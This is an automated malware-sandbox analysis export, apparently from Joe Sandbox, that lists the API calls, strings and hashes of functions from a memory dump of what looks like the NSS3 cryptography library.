Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: cee171ea73ef0f600f242c8805d70ff527c56a5e7224724fef869a4c7ba08b52
Instruction ID: 9467a72dd5eb16ea4bc8d387a1f7c46fa8fe6c6b82a3941033339d7fba7b52fd
Opcode Fuzzy Hash: cee171ea73ef0f600f242c8805d70ff527c56a5e7224724fef869a4c7ba08b52
Instruction Fuzzy Hash: B7818375B00209ABDF00DFA4DD45AEE7BB5BF08358F584024E909A3711EB35E964CBE2

Function 6CA94CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CA94D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CA94D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CA94DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA94E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CA94E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CA94E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CA94E85
DER_Encode_Util.NSS3(?,?,6CBE05A4,00000000), ref: 6CA94EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CA94F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CA94F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA94F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CA94F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA94F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA94FC8

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 672dd45d1fef2b61e1a196bb951efb6635e24d98330b8ec2a1721594b8c36274
Instruction ID: 4eba90ea081f0715c63dc209a34fe155fa111bc6a242e9703c2e461e30854980
Opcode Fuzzy Hash: 672dd45d1fef2b61e1a196bb951efb6635e24d98330b8ec2a1721594b8c36274
Instruction Fuzzy Hash: CB81B3759183019FE701CF24D941B9BB7E4AB88748F18852DF969CB741EB30E988CB92

Function 6CA90470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA904B7

Part of subcall function 6CAE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1000
Part of subcall function 6CAE0FF0: PR_NewLock.NSS3(?,00000800,6CA7EF74,00000000), ref: 6CAE1016
Part of subcall function 6CAE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA887ED,00000008,?,00000800,6CA7EF74,00000000), ref: 6CAE102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA90539

Part of subcall function 6CAE1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CA888A4,00000000,00000000), ref: 6CAE1228
Part of subcall function 6CAE1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CAE1238
Part of subcall function 6CAE1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CA888A4,00000000,00000000), ref: 6CAE124B
Part of subcall function 6CAE1200: PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0,00000000,00000000,00000000,?,6CA888A4,00000000,00000000), ref: 6CAE125D
Part of subcall function 6CAE1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CAE126F
Part of subcall function 6CAE1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAE1280
Part of subcall function 6CAE1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CAE128E
Part of subcall function 6CAE1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CAE129A
Part of subcall function 6CAE1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CAE12A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA9054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA905CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CA905EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6CA905FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6CA90621
PR_EnterMonitor.NSS3 ref: 6CA9063E
PR_ExitMonitor.NSS3 ref: 6CA90668
CERT_DestroyCertificate.NSS3(?), ref: 6CA90697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA906AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA906CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA906DA

Part of subcall function 6CA8E6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6CA904DC,?,?), ref: 6CA8E6C9
Part of subcall function 6CA8E6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6CA904DC,?,?), ref: 6CA8E6D9
Part of subcall function 6CA8E6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6CA904DC,?,?), ref: 6CA8E6F4
Part of subcall function 6CA8E6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6CA904DC,?), ref: 6CA8E703
Part of subcall function 6CA8E6B0: CERT_FindCertIssuer.NSS3(?,?,6CA904DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA8E71E

Part of subcall function 6CA8F660: PR_EnterMonitor.NSS3(6CA9050F,?,00000001,?,?,?), ref: 6CA8F6A8
Part of subcall function 6CA8F660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6CA8F6C1
Part of subcall function 6CA8F660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6CA8F7C8

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: 48bbea8e0bc9401f5af163d87d4851ac612bccef6f2d5c03d82061c1d33ad65a
Instruction ID: b3c6e5357b7c6aca98177c33bfcb35c15e92814574340a55a6459b47e477c749
Opcode Fuzzy Hash: 48bbea8e0bc9401f5af163d87d4851ac612bccef6f2d5c03d82061c1d33ad65a
Instruction Fuzzy Hash: 7161EA71A143819FEB00CF28DC41B9B77E4AF88398F144528FA59D7751EB30E998DB92

Function 6CAB25C0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetSlotList), ref: 6CAB25DD
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6CAB262A

Part of subcall function 6CB909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CB90BAB
Part of subcall function 6CB909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB90BBA
Part of subcall function 6CB909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB90D7E

PR_LogPrint.NSS3( pSlotList = 0x%p,?), ref: 6CAB260F

Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(?), ref: 6CB90B88
Part of subcall function 6CB909D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB90C5D
Part of subcall function 6CB909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CB90C8D
Part of subcall function 6CB909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB90C9C
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(?), ref: 6CB90CD1
Part of subcall function 6CB909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CB90CEC
Part of subcall function 6CB909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB90CFB
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB90D16
Part of subcall function 6CB909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CB90D26
Part of subcall function 6CB909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB90D35
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CB90D65
Part of subcall function 6CB909D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CB90D70
Part of subcall function 6CB909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB90D90
Part of subcall function 6CB909D0: free.MOZGLUE(00000000), ref: 6CB90D99

PR_LogPrint.NSS3( tokenPresent = 0x%x,?), ref: 6CAB25F6

Part of subcall function 6CB909D0: PR_Now.NSS3 ref: 6CB90A22
Part of subcall function 6CB909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CB90A35
Part of subcall function 6CB909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CB90A66
Part of subcall function 6CB909D0: PR_GetCurrentThread.NSS3 ref: 6CB90A70
Part of subcall function 6CB909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CB90A9D
Part of subcall function 6CB909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CB90AC8
Part of subcall function 6CB909D0: PR_vsmprintf.NSS3(?,?), ref: 6CB90AE8
Part of subcall function 6CB909D0: EnterCriticalSection.KERNEL32(?), ref: 6CB90B19
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB90B48
Part of subcall function 6CB909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB90C76
Part of subcall function 6CB909D0: PR_LogFlush.NSS3 ref: 6CB90C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6CAB2699
PR_LogPrint.NSS3( slotID[%d] = %x,00000000,?), ref: 6CAB26C5

Strings

slotID[%d] = %x, xrefs: 6CAB26C0
C_GetSlotList, xrefs: 6CAB25D8
pulCount = 0x%p, xrefs: 6CAB2625
tokenPresent = 0x%x, xrefs: 6CAB25F1
pSlotList = 0x%p, xrefs: 6CAB260A
*pulCount = 0x%x, xrefs: 6CAB2694

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$DebugOutputStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pSlotList = 0x%p$ pulCount = 0x%p$ slotID[%d] = %x$ tokenPresent = 0x%x$C_GetSlotList
API String ID: 2625801553-2918917633
Opcode ID: e03a02e0df456df1fa43efc3fcc7ef32b4a353306b3626ec6ebed555ebc5dfb9
Instruction ID: 3049a972081184dec3915645fe8b72850d9b21c06a81c4f2795215aed9da0d81
Opcode Fuzzy Hash: e03a02e0df456df1fa43efc3fcc7ef32b4a353306b3626ec6ebed555ebc5dfb9
Instruction Fuzzy Hash: 133126342411C6AFDB44CF58ED9CA9937B9FB4A399F084026F804A3612CF31DC88CB62

Function 6CA7AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CA7AF47

Part of subcall function 6CB49090: TlsGetValue.KERNEL32 ref: 6CB490AB
Part of subcall function 6CB49090: TlsGetValue.KERNEL32 ref: 6CB490C9
Part of subcall function 6CB49090: EnterCriticalSection.KERNEL32 ref: 6CB490E5
Part of subcall function 6CB49090: TlsGetValue.KERNEL32 ref: 6CB49116
Part of subcall function 6CB49090: LeaveCriticalSection.KERNEL32 ref: 6CB4913F

FreeLibrary.KERNEL32(?), ref: 6CA7AF6D
free.MOZGLUE(?), ref: 6CA7AFA4
free.MOZGLUE(?), ref: 6CA7AFAA
PR_ExitMonitor.NSS3 ref: 6CA7AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CA7AFF5
PR_ExitMonitor.NSS3 ref: 6CA7B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA7B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CA7B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA7B03C

Strings

%s decr => %d, xrefs: 6CA7AFF0
Unloaded library %s, xrefs: 6CA7B023

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 93d1d492a4495ee905cf36b0deb431c7d5dbdeb0a5e3cb969de5c0084b04c3d3
Instruction ID: 2a4c447e067a422066a2507f3fa6914a3466bdd6867a8ad660a9659797181de1
Opcode Fuzzy Hash: 93d1d492a4495ee905cf36b0deb431c7d5dbdeb0a5e3cb969de5c0084b04c3d3
Instruction Fuzzy Hash: 813127BDB04111BFDB219F64DC40A59B776FB09748B284125E80997A41E732EC54C7F2

Function 6CAD8680 Relevance: 21.1, APIs: 14, Instructions: 91stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CA855D0,00000000,00000000), ref: 6CAD868B
PR_NewLock.NSS3(00000000,00000000), ref: 6CAD86A0

Part of subcall function 6CB498D0: calloc.MOZGLUE(00000001,00000084,6CA70936,00000001,?,6CA7102C), ref: 6CB498E5

PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CAD86B2

Part of subcall function 6CA6BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CA721BC), ref: 6CA6BB8C

PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CAD86C8

Part of subcall function 6CA6BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA6BBEB
Part of subcall function 6CA6BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CA6BBFB
Part of subcall function 6CA6BB80: GetLastError.KERNEL32 ref: 6CA6BC03
Part of subcall function 6CA6BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CA6BC19
Part of subcall function 6CA6BB80: free.MOZGLUE(00000000), ref: 6CA6BC22

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CAD86E2
malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CAD86EC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CAD8700
DeleteCriticalSection.KERNEL32(-0000000C,?,?,00000000,00000000), ref: 6CAD871F
free.MOZGLUE(00000000,?,?,00000000,00000000), ref: 6CAD8726
DeleteCriticalSection.KERNEL32(?,?,?,?,00000000,00000000), ref: 6CAD8743
free.MOZGLUE(?,?,?,?,00000000,00000000), ref: 6CAD874A
DeleteCriticalSection.KERNEL32(-0000001C,?,00000000,00000000), ref: 6CAD8759
free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAD8760
free.MOZGLUE(00000000,00000000,00000000), ref: 6CAD876C

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$CriticalSection$DeleteErrorcalloc$Cond$CountInitializeLastLockSpinmallocstrcpystrlen
String ID:
API String ID: 1802479574-0
Opcode ID: 9f5fd703d69a35227718364b9dd4473aa271845b9a5795fcd0db10aafa35fd62
Instruction ID: d82cddda631ccb20037262f70852295b9c1ce9d6bdfdfb2fa89bd574c85be057
Opcode Fuzzy Hash: 9f5fd703d69a35227718364b9dd4473aa271845b9a5795fcd0db10aafa35fd62
Instruction Fuzzy Hash: 5721D3F5A007026BEB00AF799C0995B3BACAF412A87190535F82AC7B41EB31F414C7A2

Function 6CAC6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAC781D,00000000,6CABBE2C,?,6CAC6B1D,?,?,?,?,00000000,00000000,6CAC781D), ref: 6CAC6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAC781D,?,6CABBE2C,?), ref: 6CAC6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAC781D), ref: 6CAC6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAC6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAC6C96

Part of subcall function 6CA71240: TlsGetValue.KERNEL32(00000040,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA71267
Part of subcall function 6CA71240: EnterCriticalSection.KERNEL32(?,?,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA7127C
Part of subcall function 6CA71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA71291
Part of subcall function 6CA71240: PR_Unlock.NSS3(?,?,?,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA712A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAC6CAA

Strings

dbm:, xrefs: 6CAC6C3A
sql:, xrefs: 6CAC6C52
extern:, xrefs: 6CAC6C7E
dbm, xrefs: 6CAC6CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6CAC6C91
rdb:, xrefs: 6CAC6C69

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 97d13a8bf4a0fb724196e615c966a02745398553792faf9550cebdaf20166ca9
Instruction ID: f859a45222ac0a6df9278980c3f290226521fcc028196e84d4c9620950527f2b
Opcode Fuzzy Hash: 97d13a8bf4a0fb724196e615c966a02745398553792faf9550cebdaf20166ca9
Instruction Fuzzy Hash: EF01F2F570638223EA00277A1D5AF36238D9F81268F180432FE18F1A81EBA2F52440B7

Function 6CAD25F0 Relevance: 19.9, APIs: 8, Strings: 5, Instructions: 403stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CADA0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAAA5DF,?,00000000,6CA828AD,00000000,?,6CAAA5DF,?,object), ref: 6CADA0C0
Part of subcall function 6CADA0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAAA5DF,?,00000000,6CA828AD,00000000,?,6CAAA5DF,?,object), ref: 6CADA0E8

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAD2834
memcmp.VCRUNTIME140(00000000,00000020,00000020,?,?,?,?,?,?,?,?), ref: 6CAD284B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAD2A98
memcmp.VCRUNTIME140(00000000,?,00000020,?,?,?,?,?,?,?,?,?,?), ref: 6CAD2AAF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAD2BDC
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD2BF3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAD2D23
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?), ref: 6CAD2D34

Strings

serial, xrefs: 6CAD2AC2
, xrefs: 6CAD2A8E, 6CAD2AAB
token, xrefs: 6CAD25FA
model, xrefs: 6CAD2C06
manufacturer, xrefs: 6CAD285E

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcmpstrlen$strcmp
String ID: $manufacturer$model$serial$token
API String ID: 2407968032-2628435027
Opcode ID: 51bf063ecd8ef0da7d55e55fa3997583978fdc39eeabfaec7c5ccc30f624ea29
Instruction ID: 0f3cb437e5ad7241e8c7cf0621a2d3b2bed0728f3bc21f80f8fe908896c6a925
Opcode Fuzzy Hash: 51bf063ecd8ef0da7d55e55fa3997583978fdc39eeabfaec7c5ccc30f624ea29
Instruction Fuzzy Hash: 6602AFA1D0C3C96EF7318A62C88CBD52AA09B0531CF4F16F5D9498BAA3C6AC5DC9D351

Function 6CB68780 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 443COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,-00000001,-00000001,00000000,?,?,6CB6849F,?,-00000001,-00000001,00000000,?,00000000,?,00000000), ref: 6CB6884C
sqlite3_free.NSS3(?,?,?,?,?,?,-00000001,00000000,?,?,6CB6849F,?,-00000001,-00000001,00000000,?), ref: 6CB688F1
memset.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,?,?,-00000001,00000000,?,?,6CB6849F,?,-00000001), ref: 6CB68929
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6CB6849F,?), ref: 6CB68B4C
sqlite3_free.NSS3(?,?,?,?,?,?,?,-00000001,00000000,?,?,6CB6849F,?,-00000001,-00000001,00000000), ref: 6CB68B7C
sqlite3_free.NSS3(0000000A,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6CB6849F,?), ref: 6CB68CCF

Strings

unknown error, xrefs: 6CB688DD, 6CB68B1B
another row available, xrefs: 6CB68AB1
no more rows available, xrefs: 6CB68B0E
%s.xBestIndex malfunction, xrefs: 6CB68AEC
abort due to ROLLBACK, xrefs: 6CB68B04

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_free$memset
String ID: %s.xBestIndex malfunction$abort due to ROLLBACK$another row available$no more rows available$unknown error
API String ID: 2669552516-2256271834
Opcode ID: 85181b31da30b7efad3c228434d7c47807b2146ccafd79b7da39fbbcd78b3125
Instruction ID: 0b0ebfd1bb44b282da6c56a7f07f6f59b4ced0df9f6528e13dc5b5fe3edda439
Opcode Fuzzy Hash: 85181b31da30b7efad3c228434d7c47807b2146ccafd79b7da39fbbcd78b3125
